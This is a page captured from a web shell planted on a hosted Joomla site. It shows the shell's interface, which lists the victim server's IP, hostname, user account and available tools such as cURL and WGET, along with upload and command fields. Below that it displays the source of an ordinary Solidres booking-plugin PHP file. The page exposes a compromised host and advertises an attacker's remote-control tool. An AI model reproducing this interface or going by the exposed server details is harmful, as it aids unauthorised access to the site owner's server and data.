403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/ptitsanes/plugins/solidres/complextariff/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/ptitsanes/plugins/solidres/complextariff/complextariff.php
<?php
/*------------------------------------------------------------------------
  Solidres - Hotel booking extension for Joomla
  ------------------------------------------------------------------------
  @Author    Solidres Team
  @Website   http://www.solidres.com
  @Copyright Copyright (C) 2013 - 2017 Solidres. All Rights Reserved.
  @License   GNU General Public License version 3, or later
------------------------------------------------------------------------*/

defined('_JEXEC') or die;

/**
 * Solidres Complex Tariff
 *
 * @package		Solidres
 * @subpackage	ComplexTariff
 * @since		0.4.0
 */
class PlgSolidresComplexTariff extends SRPlugin
{
	protected static $plgVersion = '1.3.1';

	public static function angular($extras = array())
	{
		static $loaded = false;
		if ($loaded)
		{
			return;
		}

		JHtml::_('script', 'plg_solidres_complextariff/assets/angular/angular.min.js', array('version' => self::getHashVersion(), 'relative' => true));
		JHtml::_('stylesheet', 'plg_solidres_complextariff/assets/angular/angular-busy.min.css', array('version' => self::getHashVersion(), 'relative' => true));
		JHtml::_('stylesheet', 'plg_solidres_complextariff/assets/angular/angular-material.min.css', array('version' => self::getHashVersion(), 'relative' => true));
		if (!empty($extras))
		{
			foreach ($extras as $extra)
			{
				JHtml::_('script', 'plg_solidres_complextariff/assets/angular/angular-' . $extra . '.min.js', array('version' => self::getHashVersion(), 'relative' => true));
			}
		}

		$loaded = true;
	}

	public static function complextariff()
	{
		static $loaded = false;
		if ($loaded)
		{
			return;
		}
		$langTag = JFactory::getLanguage()->getTag();

		if (!file_exists(JPATH_ROOT . '/media/plg_solidres_complextariff/assets/js/angular/localization/' . $langTag . '.js'))
		{
			$langTag = 'en-GB';
		}
		self::angular(array('route', 'busy', 'animate', 'aria', 'messages'));
		JHtml::_('script', 'plg_solidres_complextariff/assets/complextariff.min.js', array('version' => self::getHashVersion(), 'relative' => true));
		JHtml::_('script', 'plg_solidres_complextariff/assets/angular/localization/' . $langTag . '.js', array('version' => self::getHashVersion(), 'relative' => true));
		JHtml::_('script', 'plg_solidres_complextariff/assets/angular/angular-material.min.js', array('version' => self::getHashVersion(), 'relative' => true));

		$loaded = true;
	}

	public function onSolidresPluginRegister()
	{
		$base = JUri::root(true) . '/plugins/solidres/complextariff/' . ($this->app->isAdmin() ? 'administrator' : '') . '/components/com_solidres';
		JFactory::getDocument()->addScriptDeclaration('
			(function() {
				Solidres.complextariff_base_url = "' . $base . '";
		    })();
		');

		parent::onSolidresPluginRegister();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit